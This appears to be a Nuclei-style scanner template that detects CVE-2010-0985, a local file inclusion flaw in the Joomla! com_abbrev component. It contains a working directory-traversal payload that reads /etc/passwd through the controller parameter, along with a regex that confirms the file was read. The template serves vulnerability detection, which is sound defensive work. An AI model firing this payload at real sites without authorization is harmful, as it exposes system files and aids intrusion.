id: CVE-2010-0985 info: name: Joomla! Component com_abbrev - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/10948 - https://www.cvedetails.com/cve/CVE-2010-0985 - http://web.archive.org/web/20210623092041/https://www.securityfocus.com/bid/37560 - http://www.exploit-db.com/exploits/10948 remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0985 tags: cve,cve2010,joomla,lfi,edb requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/13